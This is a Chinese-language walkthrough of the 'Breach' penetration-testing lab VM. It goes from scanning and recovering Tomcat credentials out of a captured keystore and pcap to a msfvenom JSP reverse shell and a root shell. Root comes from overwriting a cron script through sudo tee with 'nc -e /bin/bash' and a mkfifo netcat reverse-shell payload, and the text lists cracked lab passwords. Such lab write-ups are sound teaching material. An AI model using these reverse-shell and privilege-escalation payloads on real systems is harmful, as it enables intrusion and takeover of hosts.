靶机渗透之突破fbi

 ➜  ~ netdiscover -i eth1 -r 192.168.1.0/24
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.110.140 00:0c:29:e4:06:dd     24    1440  VMware, Inc.
 ➜  ~ ping 192.168.110.140
PING 192.168.110.140 (192.168.110.140) 56(84) bytes of data.

auto eth1
iface eth1 init static
address 192.168.110.222
netmask 255.255.255.255
gateway 192.168.110.1

Initech遭到破坏，董事会投票决定聘请其内部的Initech Cyber​​ Consulting，LLP部门协助。鉴于违规的高调性和几乎灾难性的损失，后来有许多针对该公司的企图。Initech已经委任他们的TOP顾问，由Bill Lumbergh，CISSP和Peter Gibbons，C | EH，SEC +，NET +，A +领导，以控制和执行违规行为的分析。
该公司很少意识到这种违规行为不是熟练的黑客的工作，而是一个心怀不满的前雇员在离职时的离别礼物。TOP顾问一直在努力工作，包含违规行为。然而，他们自己的职业道德和留下的烂摊子可能是公司的垮台。

200 OK-----http://192.168.110.140///index.html
#扫描结果最少，而且分类不明确

➜  gobuster dir -u http://192.168.110.140 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php
/images (Status: 301)
/server-status (Status: 403)
#未获取到更多信息

Dir found: /impresscms/modules/content/admin/ - 200
File found: /impresscms/footer.php - 200
File found: /impresscms/modules/content/admin/index.php - 302
File found: /impresscms/modules/profile/admin/menu.php - 500
File found: /impresscms/modules/content/admin/about.php - 302
File found: /impresscms/modules/system/language/english/admin/comments.php - 200
File found: /impresscms/modules/system/admin/pages/class/pages.php - 500
File found: /impresscms/modules/system/language/english/admin/pages.php - 200
File found: /impresscms/modules/profile/admin/audio.php - 302
Dir found: /impresscms/images/flags/ - 200
File found: /impresscms/modules/content/admin/content.php - 302
File found: /impresscms/modules/profile/language/english/admin.php - 200
File found: /impresscms/modules/system/language/english/admin/users.php - 200
Dir found: /impresscms/plugins/ - 200
File found: /impresscms/modules/system/language/english/admin/version.php - 200
File found: /impresscms/modules/profile/admin/videos.php - 302
File found: /impresscms/modules/profile/admin/pictures.php - 302
File found: /impresscms/modules/content/admin/menu.php - 500

➜  fbi searchsploit impress cms
ImpressCMS 1.2.x - 'quicksearch_ContentContent' HTML Injectio | exploits/php/webapps/35134.txt
ImpressCMS 1.3.11 - 'bid' SQL Injection                       | exploits/php/webapps/46239.txt
ImpressCMS 1.3.5 - Multiple Vulnerabilities                   | exploits/php/webapps/31431.txt
ImpressCMS 1.3.9 - SQL Injection                              | exploits/php/webapps/39737.txt
ImpressPages CMS 1.0x - 'admin.php' Multiple SQL Injections   | exploits/php/webapps/34053.txt
ImpressPages CMS 3.6 - 'manage()' Remote Code Execution       | exploits/php/webapps/29331.txt
ImpressPages CMS 3.6 - Arbitrary File Deletion                | exploits/php/webapps/29328.txt
ImpressPages CMS 3.6 - Multiple Cross-Site Scripting / SQL In | exploits/php/webapps/29318.txt
ImpressPages CMS 3.8 - Persistent Cross-Site Scripting        | exploits/php/webapps/29790.txt
-------------------------------------------------------------- --------------------------------------
➜  webapps cd /usr/share/exploitdb/exploits/php/webapps/

➜  fbi nikto -h http://192.168.110.140/impress -o ./fbi_nikto.html
#无有效信息

http://192.168.110.140/impresscms/modules/   #存在目录遍历
http://192.168.110.140/impresscms/modules/content/ #重定向到一个gif动图，仿佛是嘲讽...

Peter, yeahhh, I'm going to have to go ahead and ask you to have your team only post any sensitive artifacts to the admin portal. My password is extremely secure. If you could go ahead and tell them all that'd be great. -Bill 

Hey Peter,
I got a really good deal on an IDS/IPS system from a vendor I met at that happy hour at Chotchkie's last week!
-Michael

FWD: Thank you for your purchase of Super Secret Cert Pro!
Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob ------------------------------------------------------------------------------------------------------------------------------------------- From: registrar@penetrode.com Sent: 02 June 2016 16:16 To: bob@initech.com; admin@breach.local Subject: Thank you for your purchase of Super Secret Cert Pro! Please find attached your new SSL certificate. Do not share this with anyone!

➜  fbi file keystore
keystore: Java KeyStore

keytool -genkeypair -keysize 1024 -validity 3650 -alias "privateKey" -keystore "privateKeys.keystore" -storepass "public_password1234" -keypass "private_password1234" -dname "CN=localhost, OU=localhost, O=localhost, L=SH, ST=SH, C=CN"

keytool -storepasswd -keystore d:/xxx.keystore -storepass 123456 -new 新密码

keytool -exportcert -alias "privateKey" -keystore ./xxx.keystore -storepass 123456 -file "xxx.cer"
keytool -printcert -file ./xxx.cer #查看导出证书的信息

keytool -import -alias "publicCert" -file "certfile.cer" -keystore "publicCerts.keystore" -storepass "public_password1234"

-certreq            生成证书请求
-changealias        更改条目的别名
-delete             删除条目
-exportcert         导出证书
-genkeypair         生成密钥对
-genseckey          生成密钥
-gencert            根据证书请求生成证书
-importcert         导入证书或证书链
-importpass         导入口令
-importkeystore     从其他密钥库导入一个或所有条目
-keypasswd          更改条目的密钥口令
-list               列出密钥库中的条目
-printcert          打印证书内容
-printcertreq       打印证书请求的内容
-printcrl           打印 CRL 文件的内容
-storepasswd        更改密钥库的存储口令

➜  fbi keytool -list -keystore ./keystore -storepass tomcat
输入密钥库口令:tomcat
密钥库类型: JKS
密钥库提供方: SUN

您的密钥库包含 1 个条目

tomcat, 2016年5月21日, PrivateKeyEntry,
证书指纹 (SHA-256): F0:4A:E8:7F:52:C1:78:B4:14:2B:4D:D9:1A:34:31:F7:19:0A:29:F6:0C:85:00:0B:58:3A:37:20:6C:7E:E6:31

➜  work keytool -importkeystore -srckeystore ./keystore -destkeystore ./keystore.pem -deststoretype PKCS12 -srcalias tomcat
正在将密钥库 ./keystore 导入到 ./keystore.pem...
输入目标密钥库口令:
再次输入新口令:
输入源密钥库口令:
➜  work ls
content.gif  keystore  keystore.pem  _SSL_test_phase1.pcap

username="tomcat" password="s3cret"
https://192.168.110.140:8443/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 
uid=104(tomcat6) gid=112(tomcat6) groups=112(tomcat6)
#dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC为base编码，解码得到以下信息
## 账号和密码： tomcat:Tt5D8F(#!*u=G)4m7zB

➜  ~ msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.222.134 lport=4444 -f raw > shell.jsp
Payload size: 1501 bytes

1. 搜索内核漏洞
2. 寻找可利用的用户
   - uid > 1000的自创建用户,其它的是系统或程序用户
3. 从数据库入手
   - 找数据库的连接文件
   - 一般存放在网站目录
4. 看用户目录
5. 看计划任务
6. 看命令历史

tomcat6@Breach:/var/lib/tomcat6$ uname -r
uname -r
4.2.0-27-generic
4.2.0-27-generic，不存在Ubuntu本地提权漏洞。
存在本地提权漏洞内核版本是：Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

tomcat6@Breach:/var/lib/tomcat6$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash

tomcat6@Breach:/var/lib/tomcat6$ cd /var/www
cd /var/www
tomcat6@Breach:/var/www$ ls
ls
5446  html
tomcat6@Breach:/var/www$ cd 5446
cd 5446
tomcat6@Breach:/var/www/5446$ ls
ls
0d93f85c5061c44cdffeb8381b2772fd.php  fe4db1f7bc038d60776dcb66ab3404d5.php
cache                                 modules

tomcat6@Breach:/var/www/5446$ su miltonPassword: thelaststrawmilton@Breach:/var/www/5446$milton@Breach:/var/www/5446$ cdcdmilton@Breach:~$ lslsmy_badge.jpg r  some_script.shmilton@Breach:~$ cat some_script.sh _____ _                   _                   _   _     _               _|_   _| |                 ( )                 | | | |   (_)             | |  | | | |__   ___ _ __ ___|/ ___   _ __   ___ | |_| |__  _ _ __   __ _  | |__   ___ _ __ ___  | | | '_  / _  '__/ _  / __| | '_  / _ | __| '_ | | '_  / _` | | '_  / _  '__/ _   | | | | | |  __/ | |  __/ __  | | | | (_) | |_| | | | | | | | (_| | | | | |  __/ | |  __/  _/ |_| |_|___|_|  ___| |___/ |_| |_|___/ __|_| |_|_|_| |_|__, | |_| |_|___|_|  ___|                                                                  __/ |                                                                 |___/#并没有得到有用的信息

milton@Breach:~$ crontab -lcrontab -lno crontab for milton

milton@Breach:~$ historyhistory    1  cd ..    2  ls    3  su milton    4  cd milton    5  cat .bash_history    6  clear    7  su root    8  cat .bash_history    9  ls -lah   10  cat .bash_history   11  su blumbergh   12  sudo nano   13  sudo -i   14  su root   15  sudo nano   16  logoff   17  logout   18  cd /   19  su root   20  logout   21  exit   22  sudo nano   23  visudo   24  clear   25  poweroff   26  su root

milton@Breach:~$ python -m SimpleHTTPServer 8888
python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...

➜  work wget http://192.168.110.140:7777/my_badge.jpg
--2019-08-10 16:16:52--  http://192.168.110.140:7777/my_badge.jpg
正在连接 192.168.110.140:7777... 已连接。
已发出 HTTP 请求，正在等待回应... 400 Bad Request
2019-08-10 16:16:53 错误 400：Bad Request。
#额,连接不上

➜  work exif my_badge.jpg
‘my_badge.jpg’中的EXIF 信息标识(‘英特尔’字节顺序):
--------------------+----------------------------------------------------------
信息标识                |值
--------------------+----------------------------------------------------------
Software            |Picasa
Artist              |Picasa 2.7
X-Resolution        |72
Y-Resolution        |72
Resolution Unit     |英寸
Compression         |JPEG 压缩
X-Resolution        |72
Y-Resolution        |72
Resolution Unit     |英寸
Exif Version        |Exif版本2.2
Pixel X Dimension   |912
Pixel Y Dimension   |601
FlashPixVersion     |FlashPix版本 1.0
色彩空间                |Internal error (unknown value 65535)
--------------------+----------------------------------------------------------
EXIF 数据中含有缩略图(7072 个字节)。

➜  work strings *.jpg >> password.txt

tomcat6@Breach:/var/lib/tomcat6$ su blumbergh
su blumbergh
Password: coffeestains
blumbergh@Breach:/var/lib/tomcat6$ cd
#查看家目录
blumbergh@Breach:~$ ls
blumbergh@Breach:~$
blumbergh@Breach:~$ id
id
uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh)
#查看计划任务
blumbergh@Breach:~$ crontab -l
crontab -l
no crontab for blumbergh
#查看命令历史
    blumbergh@Breach:~$ history
    history
    1  clear
    2  logoff
    3  logout
    4  exit
    5  cd /usr/share/cleanup
    6  cat tidyup.sh
    7  ls
    8  cd
    9  ls
    10  pwd
    11  id
    12  histor
    13  his
    14  history

blumbergh@Breach:~$ cd /usr/share/cleanup
cd /usr/share/cleanup
blumbergh@Breach:/usr/share/cleanup$ cat tidyup.sh
blumbergh@Breach:/usr/share/cleanup$ cat tidyup.sh
#!/bin/bash
#Hacker Evasion Script 
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

blumbergh@Breach:/usr/share/cleanup$ ls -l tidyup.sh
ls -l tidyup.sh
-rwxr-xr-x 1 root root 289 Jun 12  2016 tidyup.sh

blumbergh@Breach:/usr/share/cleanup$ sudo -l
Matching Defaults entries for blumbergh on Breach:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User blumbergh may run the following commands on Breach:
    (root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

blumbergh@Breach:~$ echo "nc -e /bin/bash 192.168.110.233 5555" > shell.txt
blumbergh@Breach:~$ cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
blumbergh@Breach:~$ cat /usr/share/cleanup/tidyup.sh
nc -e /bin/bash 192.168.110.233 5555

➜  msfvenom -p cmd/unix/reverse_netcat localhost=192.168.110.233 lport=5555 R
mkfifo /tmp/bnzpr; nc 192.168.222.134 5555 0</tmp/bnzpr | /bin/sh >/tmp/bnzpr 2>&1; rm /tmp/bnzpr

root@kali:~# nc -lvp 5555
ls
flair.jpg
id
uid=0(root) gid=0(root) groups=0(root)